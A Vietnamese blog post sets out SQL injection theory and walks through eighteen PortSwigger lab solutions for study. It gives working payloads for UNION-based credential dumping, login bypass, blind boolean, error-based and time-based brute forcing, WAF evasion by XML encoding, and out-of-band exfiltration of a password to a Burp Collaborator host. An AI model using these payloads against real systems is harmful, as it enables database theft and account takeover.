@iamproz2911
Bài viết gồm 2 phần là:
+Lý thuyết
+Khai thác các bài Lab của Postswiger về lỗ hổng này.**
### **1. Lý thuyết**
SQL Injection (SQLi) xảy ra khi ứng dụng web không kiểm soát đầu vào từ người dùng một cách an toàn, cho phép kẻ tấn công chèn mã SQL độc hại vào các truy vấn cơ sở dữ liệu.
Dưới đây là các dạng SQLi từ cơ bản tới nâng cao:
1. In-Band SQL Injection
Error-Based SQL Injection: Kẻ tấn công sử dụng thông báo lỗi từ cơ sở dữ liệu để lấy thông tin về cấu trúc của cơ sở dữ liệu.
Union-Based SQL Injection: Kẻ tấn công sử dụng toán tử UNION để kết hợp kết quả từ nhiều câu truy vấn, từ đó truy xuất dữ liệu từ các bảng khác.
2. Inferential SQL Injection
Boolean-Based Blind SQL Injection: Kẻ tấn công không nhận được dữ liệu trực tiếp mà dựa vào phản hồi đúng/sai từ ứng dụng để suy luận thông tin (ví dụ: câu trả lời có đúng hay không).
Time-Based Blind SQL Injection: Kẻ tấn công sử dụng hàm thời gian để gây ra sự chậm trễ trong phản hồi, từ đó suy ra thông tin dựa trên thời gian phản hồi.
3. Out-of-Band SQL Injection
Kẻ tấn công sử dụng các kênh khác để lấy thông tin, như gửi dữ liệu tới một máy chủ khác mà kẻ tấn công kiểm soát. Điều này thường chỉ xảy ra khi các phương pháp khác không khả thi.
4. Second-Order SQL Injection
Dữ liệu độc hại được lưu trữ trong cơ sở dữ liệu và chỉ kích hoạt khi một yêu cầu khác được thực hiện, dẫn đến tấn công sau này.
5. Stored SQL Injection
Dữ liệu độc hại được lưu trữ trong cơ sở dữ liệu và có thể được truy cập qua nhiều phiên làm việc của người dùng khác.
6. Dynamic SQL Injection
Sử dụng các câu lệnh SQL được xây dựng động (dynamic SQL), nơi kẻ tấn công có thể thay đổi cấu trúc của câu lệnh SQL trong quá trình thực thi.
7. NoSQL Injection
Tấn công vào các cơ sở dữ liệu NoSQL, sử dụng các kỹ thuật tương tự nhưng phù hợp với các truy vấn NoSQL.
### **2. Lab SQL injection in Postswigger**
#### **Lab1**: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
##### Mô tả:
This lab contains a SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out a SQL query like the following:
```
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```
To solve the lab, perform a SQL injection attack that causes the application to display one or more unreleased products.
##### Exploit:
B1: Truy cập trang web và quan sát request

Lab thông báo lỗi SQLi tại danh mục sản phẩm

B2: Nhận biết lỗ hổng SQLi
Chèn đấu '' or "" để quan sát lỗi trả về

=> website bị SQLi
Website sử dụng query như sau
```
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```
Vậy để khiến ứng dụng hiển thị một hoặc nhiều sản phẩm chưa được phát hành.
Sử dụng payload `'+OR+1=1--` đây là điều kiện luôn đúng.
Query sau khi modify trở thành
```
SELECT * FROM products WHERE category = 'Accessories' or '1'='1' -- AND released = 1
```
Phần sau dấu "--" biến phần sau của query: AND released = 1 trở thành phần comment.
B3: Gửi request và hoàn thành lab

#### **Lab2**: SQL injection vulnerability allowing login bypass
##### Mô tả:
This lab contains a SQL injection vulnerability in the login function.
To solve the lab, perform a SQL injection attack that logs in to the application as the administrator user.
##### Exploit:
B1: Truy cập website để kiểm tra

Truy cập my account để đăng nhập thông tin
Lab yêu cầu đăng nhập với tài khoản adminitrator và bypass để vượt qua, vậy Query SQL ở chỗ này có dạng:
```
SELECT * FROM users WHERE username = 'username' AND password = 'pass';
```
B2:Kiểm tra lỗ hổng:
Đăng nhập với tài khoản adminitrator và chèn thêm payload '' hoặc " " để kiểm tra rõ hơn

Web báo lỗi:

Vậy dính SQLi
Dùng payload sau để khai thác
```
administrator'--
```
Lúc này câu truy vấn biến thành như sau:
SELECT * FROM users WHERE username = 'administrator';
Bỏ qua phần password, đăng nhập thẳng vào web với tài khoản adminitrator
B3: Gửi request có chứa payload
Dùng Intruder của Burp
Bắt request lại rồi sau đó modify lại username

Payload gửi đi và hoàn thành bài lab

#### **Lab3**: SQL injection attack, querying the database type and version on Oracle
##### Mô tả:
This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.
To solve the lab, display the database version string.
##### Exploit:
B1: Truy cập website để quan sát

Theo đề bài thì web sử dụng Oracle để làm database và chỉ cần đọc được version in ra màn hình thì sẽ hoàn thành lab
Đọc tài liệu [cheatsheet](https://portswigger.net/web-security/sql-injection/cheat-sheet) ta sẽ thấy payload ở đây
`SELECT version FROM v$instance`
Website có lỗi SQLi ở chức năng danh mục

B2: Xác định số cột trả về
Sử dụng union sql hoặc order by để đoán số cột
Payload: `' UNION SELECT null, null -- - `

=> đều trả về lỗi.
Đọc tài liệu về oracle thì Select dùng được khi xác định rõ nó lấy bảng nào hợp lệ với from
Theo tài liệu của Burp có một bảng tích hợp sẵn trên Oracle có tên là dual có thể sử dụng cho mục đích này.
Vậy payload sẽ là: `'+UNION+SELECT+'A','B'+FROM+dual--`

Như vậy web trả về 2 cột A và B mà ta truyền vào
B3: Gửi payload lấy thông tin version Oracle và hoàn thành lab
```
SELECT banner FROM v$version
SELECT version FROM v$instance
```

Website đã hiện ra các version của oracle
Hoàn thành lab

#### **Lab4**: SQL injection attack, querying the database type and version on MySQL and Microsoft
##### Mô tả:
This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.
To solve the lab, display the database version string.
##### Exploit:
Tương tự bài lab3
B1: Truy cập website và quan sát

Chức năng lọc danh mục bị lỗi SQLi

B2: Đọc tài liệu và viết payload
```
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE
```
Payload tìm được, ở cheatsheet.
Đầu tiền xác định được số cột của database


Quan sát thấy 2 cột trả về 200, 3 cột thì trả về 500 vậy database sử dụng 2 cột.
In ra 2 giá trị đại diện cho 2 cột để test
`'+UNION+SELECT+'abc','def'-- -`
> Nếu truy vấn gốc có điều kiện kiểm tra cho một số giá trị cụ thể (như id=1), thay đổi giá trị id thành một giá trị không tồn tại (như -) có thể bỏ qua kiểm tra đó và cho phép phép nối (UNION) hoạt động.
Đổi thành Giftss chẳng hạn và kết quả in thành công.

B3: Thay đổi Payload để lấy version và hoàn thành lab
```
Giftss'+UNION+SELECT+'abc',version()+--+-
```

#### **Lab5**: SQL injection attack, listing the database contents on non-Oracle databases
##### Mô tả:
This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.
The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.
To solve the lab, log in as the administrator user.
##### Exploit:
Lab cho biết là web không dùng database Oracle và hãy liệt kê nội dung database ra
B1: Truy cập website và quan sát Burp

Web vẫn sẽ bị SQLi ở chức năng danh mục sản phẩm

B2: Xác định cột của database
Dùng Union và biết được web có 2 cột.
Sử dụng table.name lấy tên table_name từ information_schema.tables
In ra bằng payload:
```
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
```

Tìm tên bảng user: users_subkhw

B3: Viết payload lấy thông tin chi tiết các cột trong bảng users_subkhw:
Sử dụng column_name.
```
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_subkhw'--
```

Lấy ra thông tin của 2 cột username và password cho tất cả tài khoản
```
'+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef--
```

Đã có tài khoản của administrator
B4: Đăng nhập và hoàn thành bài lab

#### **Lab6**: SQL injection attack, listing the database contents on Oracle
##### Mô tả:
This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.
The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.
To solve the lab, log in as the administrator user.
##### Exploit:
B1: Truy cập trang web và quan sát burpsuite

Lỗi vẫn tiếp tục ở phần lọc danh mục sản phẩm
Bài này dùng oracle để làm database tương tự lab 3 tiếp tục lấy thông tin từ bảng dual
B2: Xác định số cột và liệt kê thông tin của các cột
Như các bài khác số cột vẫn là 2
Sử dụng payoad để in ra thử
`'+UNION+SELECT+'abc','def'+FROM+dual--`

```
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
```


B3: Lấy thông tin của database
Sử dụng payload lấy thông tin chi tiết về các cột trong bảng:
`'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_WPJIMB'--`

Sử dụng payload để truy xuất tên người dùng và mật khẩu cho tất cả người dùng:
```
'+UNION+SELECT+USERNAME_ABCDEF,+PASSWORD_ABCDEF+FROM+USERS_ABCDEF--
```

B4: Đăng nhập tài khoản của administrator để hoàn thành lab

#### **Lab7**: SQL injection UNION attack, determining the number of columns returned by the query
##### Mô tả:
This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.
To solve the lab, determine the number of columns returned by the query by performing a SQL injection UNION attack that returns an additional row containing null values.
##### Exploit:
B1: Truy cập trang web và quan sát burpsuite

Lỗi ở phần lọc danh mục sản phẩm
Đề yêu cầu xác định số cột
B2: Xác định số cột và hoàn thành lab
Sử dụng OrderBy hoặc Union đều được tuy nhiên lab yêu cầu dùng Union
Payload: `'+UNION+SELECT+NULL,NULL--`
Dùng orderby biết được 2 cột

B3: Hoàn thành lab

#### **Lab8**: SQL injection UNION attack, finding a column containing text
##### Mô tả:
This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a previous lab. The next step is to identify a column that is compatible with string data.
The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform a SQL injection UNION attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data.
##### Exploit:
B1: Truy cập trang web và quan sát burpsuite

Lỗi SQli ở phần danh mục sản phẩm
Web yêu cầu sử dụng Union SQL để tìm cột chứa text
B2: Xác định cột
`'+UNION+SELECT+NULL,NULL,NULL--`

Sử dụng payload và website có 3 cột
Thay đổi giá trị null random theo từng ô bằng giá trị ngẫu nhiên
`'+UNION+SELECT+'A',NULL,NULL--`
Thay đổi vị trí nếu xảy ra lỗi

B3: Hoàn thành lab
In ra giá trị web yêu cầu `'+UNION+SELECT+NULL,'GrtRAc',NULL--`


#### **Lab9**: SQL injection UNION attack, retrieving data from other tables
##### Mô tả:
This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs.
The database contains a different table called users, with columns called username and password.
To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.
##### Exploit:
Lấy thông tin username password từ bảng users
B1: Truy cập web và quan sát burpsuite

Lỗi SQLi ở chức năng lọc danh sách sản phẩm
B2: Xác định số cột

Website có 2 cột
In ra thông tin 2 cột username và password của bảng user
`'+UNION+SELECT+username,+password+FROM+users--`

B3: Hoàn thành lab
Đăng nhập vào tài khoản administrator vừa lấy được

#### **Lab10**: SQL injection UNION attack, retrieving multiple values in a single column
##### Mô tả:
This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.
The database contains a different table called users, with columns called username and password.
To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.
##### Exploit:
Tương tự bài trên
B1: Truy cập web và quan sát burpsuite

Lỗi SQLi ở chức năng lọc danh sách sản phẩm
B2: Xác định số cột

Vẫn có 2 cột như mọi khi
Xác định cột trả về loại nào
```
'+UNION+SELECT+'A',NULL--
```

Như vậy cột đầu không có kiểu string, thử cột thứ 2
```
'+UNION+SELECT+NULL,'A'--
```

Như vậy là chỉ có 1 cột để in ra một lúc cả username+password. Vì cả 2 cột này đều kiểu string
B3: Lấy thông tin từ bảng users
Sử dụng payload `'+UNION+SELECT+NULL,username||'~'||password+FROM+users--`
Sử dụng || || kết hợp kết quả từ bảng users, chọn thông tin đăng nhập (username và password) và ngăn cách nhau bằng dấu '~' từ cơ sở dữ liệu.

B3: Sử dụng tài khoản Administrator để đăng nhập và hoàn thành

#### **Lab11**: Blind SQL injection with conditional responses
##### Mô tả:
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and no error messages are displayed. But the application includes a "Welcome back" message in the page if the query returns any rows.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
##### Exploit:
B1: Truy cập website và quan sát request
Xem qua các chức năng và thử các payload thì không cho thấy lỗ hổng SQLi


Website có thông số theo dõi cookie

Sử dụng payload làm trackingid sai => không có dòng chữ "welcomeback" => Có thể khai thác SQli ở đây nhờ Boolean-based.

Dùng payload 1=2 để thử.
B2: Xây dựng payload đoán số lượng chữ của mật khẩu
Vì lab đã cho sẵn bảng user có 2 cột username và password nên ta chỉ cần đoán mật khẩu của administrator.
Payload ` ' AND (select length(password) from users where username='administrator')=$1$ --`
Hoặc có thể dùng AND .
Sử dụng intruder để brute force

$1$ ta sẽ để vào đó wordlist(1->30)

Chỉnh Grep-Match =welcomeback để dễ nhìn kết quả

=> Kết quả cho thấy tại vị trí 20 hiển thị welcome back => có 20 kí tự

B3: Tìm mật khẩu
Đã biết được mật khẩu có 20 kí tự bước tiếp theo tìm kí tự của mật khẩu.
Payload:
`' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§' --`
=> Đoán 1 chữ cái đầu tiên của cột đầu có phải = a không, nếu đúng trả về welcomeback ,nếu sai thì không có gì.
Sử dụng Cluster bomb để bruteforcer, liên tục hoán đổi vị trí 2 payload

Tiếp theo payload đầu tiên = number, payload thứ 2 simplelist a->z,A->Z,0-10 (Như lab đã cho trước).


=> Lắp các kí tự lại là có mật khẩu của administrator(Nhớ đúng kí tự)
B4: Đăng nhập và Hoàn thành lab

#### **Lab12**: Blind SQL injection with conditional errors
##### Mô tả:
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
##### Exploit:
B1: Truy cập trang web và kiểm tra SQLi

Kiểm tra request và chèn payload thì nhận thấy TrackingID bị lỗi

Nhưng chèn 2 dấu '' thì lại không

Kiểm tra payload logic 1=1

=>Lỗi SQLi tại tham số trackingID
Xác định thêm số cột bằng Order by
`' ORDER BY 2 -- `

Chỉ có 1 cột.
B2: Xây dựng payload với Oracle Database
UnionSelect ở Oracle phải cần select từ 1 bảng tồn lại. Đó là Dual.
```
' UNION SELECT null from dual --
```

Xác định database sử dụng kiểu dữ liệu nào


=>Kiểu chuỗi.
B3: Sử dụng Error-based
Xây dựng payload errorbase với điều kiện như là phần trong ngoặc ()
```
' UNION SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual
```
Ở payload trên, nếu điều kiện đúng thì thực thi 1/0(điều này sinh ra lỗi) TO_CHAR trả về kiểu chuỗi theo CheatsheetOracle
B4: Error-Based lấy số kí tự của mật khẩu
Lab đã cho sẵn table và các trường trong đó
```
' UNION SELECT CASE WHEN (LENGTH(password)=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator -- '
```

Khi password có length = 20 thì trả về lỗi => password có 20 kí tự.
B5: ErrorBase tìm ra mật khẩu
Payload để bruteforcer là:
```
' UNION SELECT CASE WHEN (SUBSTR(password,§1§,1)='§a§') THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' --
```
Đổi vị trí của mật khẩu, lấy 1 kí tự, và đổi kí tự mật khẩu
2Payload : 1 cái number cho vị trí(1->20),1 cái simplelist cho giá trị kí tự(a->z)(A->Z)(0-9).


B6: Đăng nhập vào tài khoản để hoàn thành lab
Lọc kết quả mật khẩu và đăng nhập (Chú ý thứ tự)

#### **Lab13**: Visible error-based SQL injection
##### Mô tả:
This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned.
The database contains a different table called users, with columns called username and password. To solve the lab, find a way to leak the password for the administrator user, then log in to their account.
##### Exploit:
B1: Truy cập website và tìm lỗ hổng

Sử dụng payload để tìm lỗi

=>Lỗi SQLi từ tham số trackingID

B2: Xây dựng payload
Sử dụng CAST():
```
' AND CAST((SELECT 1) AS int)--
```
CAST((SELECT 1) AS int):
SELECT 1: Truy vấn này sẽ trả về giá trị 1.
CAST(... AS int): Chuyển đổi giá trị trả về thành kiểu số nguyên (int)

=> Lỗi vì điều kiện AND phải là biểu thức boolean
Thêm dấu bằng vào và gửi lại
```
' AND 1=CAST((SELECT 1) AS int)--
```

B3: Sử dụng errobase để đoán mật khẩu
Payload: `' AND 1=CAST((SELECT username FROM users) AS int)--`

Lỗi trả về vì lí do giới hạn kí tự
Rút gọn payload lại bằng cách bỏ luôn giá trị trackingID

Lỗi vì trả về quá nhiều hàng.
Dùng Limit 1 để lấy 1 hàng
```
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
```

Lỗi sinh ra username là administrator
Bây giờ lấy thêm password là xong
```
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
```

B4: Đăng nhập và hoàn thành bài lab

#### **Lab14**: Blind SQL injection with time delays
##### Mô tả:
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.
To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay.
##### Exploit:
B1: Đăng nhập và quan sát request

Gửi payload và không thấy gì xảy ra
Lab yêu cầu dùng TimeDelay và dừng khoảng 10s
Truy cập cheatsheet để tham khảo payload
B2: Gửi payload và hoàn thành lab
Thử từng payload và postgreSQL là đúng
`'||pg_sleep(10)--`
Hoặc `'; SELECT pg_sleep(10)-- `


#### **Lab15**: Blind SQL injection with time delays and information retrieval
##### Mô tả:
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
##### Exploit:
Tương tự bài trên và kết hợp thêm điều kiện để đoán ra mật khẩu
B1: Truy cập trang web và tìm lỗ hổng

Sử dụng payload `' ; SELECT pg_sleep(10)-- `

Dấu ; được sử dụng để kết thúc một câu lệnh SQL. Nếu không được mã hóa, nó có thể khiến cơ sở dữ liệu hiểu rằng là đang cố gắng kết thúc một câu lệnh và bắt đầu một câu lệnh mới
Encode dấu ; -> %3b

Sau 10s đã gửi về thành công
B2: Xây dựng payload
```
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
```
Thay đổi điều kiện bên trong dấu ()
nếu đúng thì đợi 10s nếu sai thì hiển thị ngay
Lab đã cho biết bảng users có username và password
`'; SELECT CASE WHEN (LENGTH(password)=1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator'-- `
Đẩy vào intruder để tìm độ dài
Tại vị trí 20 thì mất khoảng 10s mới hiển thị => độ dài mật khẩu bằng 20 kí tự.

B3: Tìm mật khẩu bằng timedelays
Sử dụng payload sau và tương tự bài trên
```
'; SELECT CASE WHEN (SUBSTRING(password,§1§,1)='§a§') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator'--
```
Dùng 2 payload number và simplelist
Chú ý: Việc sử dụng cluterbomb có vấn đề đó là nhiều request gửi xen lẫn và có những request chưa thực hiện xong thì đã có cái chen ngang
=> set chạy từng request một.

Sau đó starts intruder,Đợi khá lâu...
Các request trả về sau 10s chính là kết quả

B4: Đăng nhập và hoàn thành lab

#### **Lab16**: Blind SQL injection with out-of-band interaction
##### Mô tả:
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain.
To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator.
**Note:**
> To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator's default public server.
##### Exploit:
Lab yêu cầu chỉ sử dụng BurpCollaborator's để exploit.
B1: Truy cập trang web và tìm kiếm lỗ hổng

Gửi payload vào trackingID như bài trên thì không thấy trả về cái gì, có nghĩa không thể lấy kết quả trực tiếp từ phản hồi của ứng dụng.
B2: Sử dụng phương pháp Out-of-band
Sử dụng dạng Out-of-band SQLi để tương tác với external domain(Dùng BurpCollaborator)
Lab đưa ra gợi ý sử dụng cheatsheet để làm

Thử từng loại để đoán xem thử đang dùng loại database nào.
B3: Gửi payload và hoàn thành lab
Dùng burpcollab để tạo ra domain rồi thêm vào từng payload
```
x' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://v73xmmrk6qtcs6oyx96is3gsijocc1.oastify.com/"> %remote;]>'),'/l') FROM dual--
```
EXTRACTVALUE(xmltype(...), '/l'):
xmltype(...): Chuyển đổi nội dung XML thành loại dữ liệu XML trong Oracle.
EXTRACTVALUE(...): Hàm này dùng để lấy giá trị từ một phần của tài liệu XML.
`'<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://v73xmmrk6qtcs6oyx96is3gsijocc1.oastify.com/"> %remote;]>:`
Đây là một đoạn XML chứa một định nghĩa cho DOCTYPE và một entity (thực thể) bên ngoài.
%remote: Khi thực thể này được gọi, nó sẽ tải dữ liệu từ một URL bên ngoài (trong trường hợp này là địa chỉ http://v73xmmrk6qtcs6oyx96is3gsijocc1.oastify.com/).
Gửi payload đầu tiên và bấm pollnow ở collab 
Như vậy, website này sử dụng Oracle và khi payload gửi đến đã bị OUTOFBAND SQLi.


#### **Lab17**: Blind SQL injection with out-of-band data exfiltration
##### Mô tả:
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
##### Exploit:
Như bài trên nhưng lần này lab yêu cầu lấy được password của administrator thông qua các DNS lookup.
B1: Truy cập website và xác định lỗ hổng
Lỗi vẫn ở TrackingID

Tương tự bài trên dùng lại payload
```
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//v73aj1jy4gkx2mldahxnldn4fvlm9b.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--
```
Lần này kết hợp với truy vấn SQLi + Domain của BurpCollab
```
"http://'||(SELECT password from users where username='administrator')||'.5iosufp0ncros98jwp3z76k31u7kv9.oastify.com/"
```
B2: Xây dựng payload hoàn chỉnh và gửi đi
Kết hợp 2 cái ở trên ta có payload là
```
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
```
Gửi payload đi rồi pollnow


Mật khẩu là: gkuui81rm77527pbshba
B3: Đăng nhập và hoàn thành lab

#### **Lab18**: SQL injection with filter bypass via XML encoding
##### Mô tả:
This lab contains a SQL injection vulnerability in its stock check feature. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables.
The database contains a users table, which contains the usernames and passwords of registered users. To solve the lab, perform a SQL injection attack to retrieve the admin user's credentials, then log in to their account.
##### Exploit:
B1: Truy cập trang web và tìm lỗ hổng
Lab mô tả website dính lỗ hổng ở phần stock

Khi CheckStock thì POST request được gửi /product/stock để hiển thị ra số sản phẩm tồn kho có trong Database.

Phần Body được gửi dưới dạng XML với 2 tham số là các tham số được sử dụng trong yêu cầu kiểm tra tồn kho.
> <productId>2</productId>: Chỉ định ID sản phẩm mà người dùng muốn kiểm tra tồn kho.
> <storeId>2</storeId>: Chỉ định ID của cửa hàng nơi kiểm tra tồn kho được thực hiện.
B2: Thay đổi file XML
Thử thêm cái gì đó vào phần storeID

Nó có thể thực thi theo ý của mình, thử 1 con số nhỏ hơn

Thử chèn payload SQLi vào
```
1 UNION SELECT NULL
```

Có lẽ web đã chặn SQLi bằng cách dùng WAF.
Lúc này có thể dùng SQLMap để tấn công tự động
B3: Bypass WAF
Bằng cách obfuscating payload XML
Sử dụng extension của Burp Extensions > Hackvertor

Sau đó encode: Encode > dec_entities/hex_entities
Hoặc có thể dùng tools của [CyberChef](https://gchq.github.io/CyberChef/) có sẵn để encode như mình.


Kết quả trả về hợp lệ cho thấy payload hoạt động tốt và database chỉ có 1 cột
B4: Gửi payload SQLi
Vì Database chỉ trả về 1 cột nên nối chuỗi bằng ||'~'||
```
UNION SELECT password FROM users WHERE username = 'administrator'
```

```
UNION SELECT password FROM users WHERE username = 'administrator'
```

Mật khẩu là: klpqaj9aud99x4p3remb
B5: Đăng nhập và hoàn thành lab

#### Lab challenge :
Website Java sử dụng MySql+MSSQL do mình tự build ( gồm các loại SQLi Blind, Union, OOB, ErrorBase,...) các bạn có thể tải về và Exploit thử/.
[LINK](https://github.com/iseproz2911/SQL-Injection-Vulnerable-Website.git)
JSPServlet + TomcatServer + MySQL MSSQL
**Tài liệu**
[Payload](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/README.md)
[Trick](https://book.hacktricks.xyz/pentesting-web/sql-injection)
[CheatSheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)
> Bài viết có mục đích nghiên cứu lỗ hổng và học tập ôn thi chứng chỉ của Postswiger!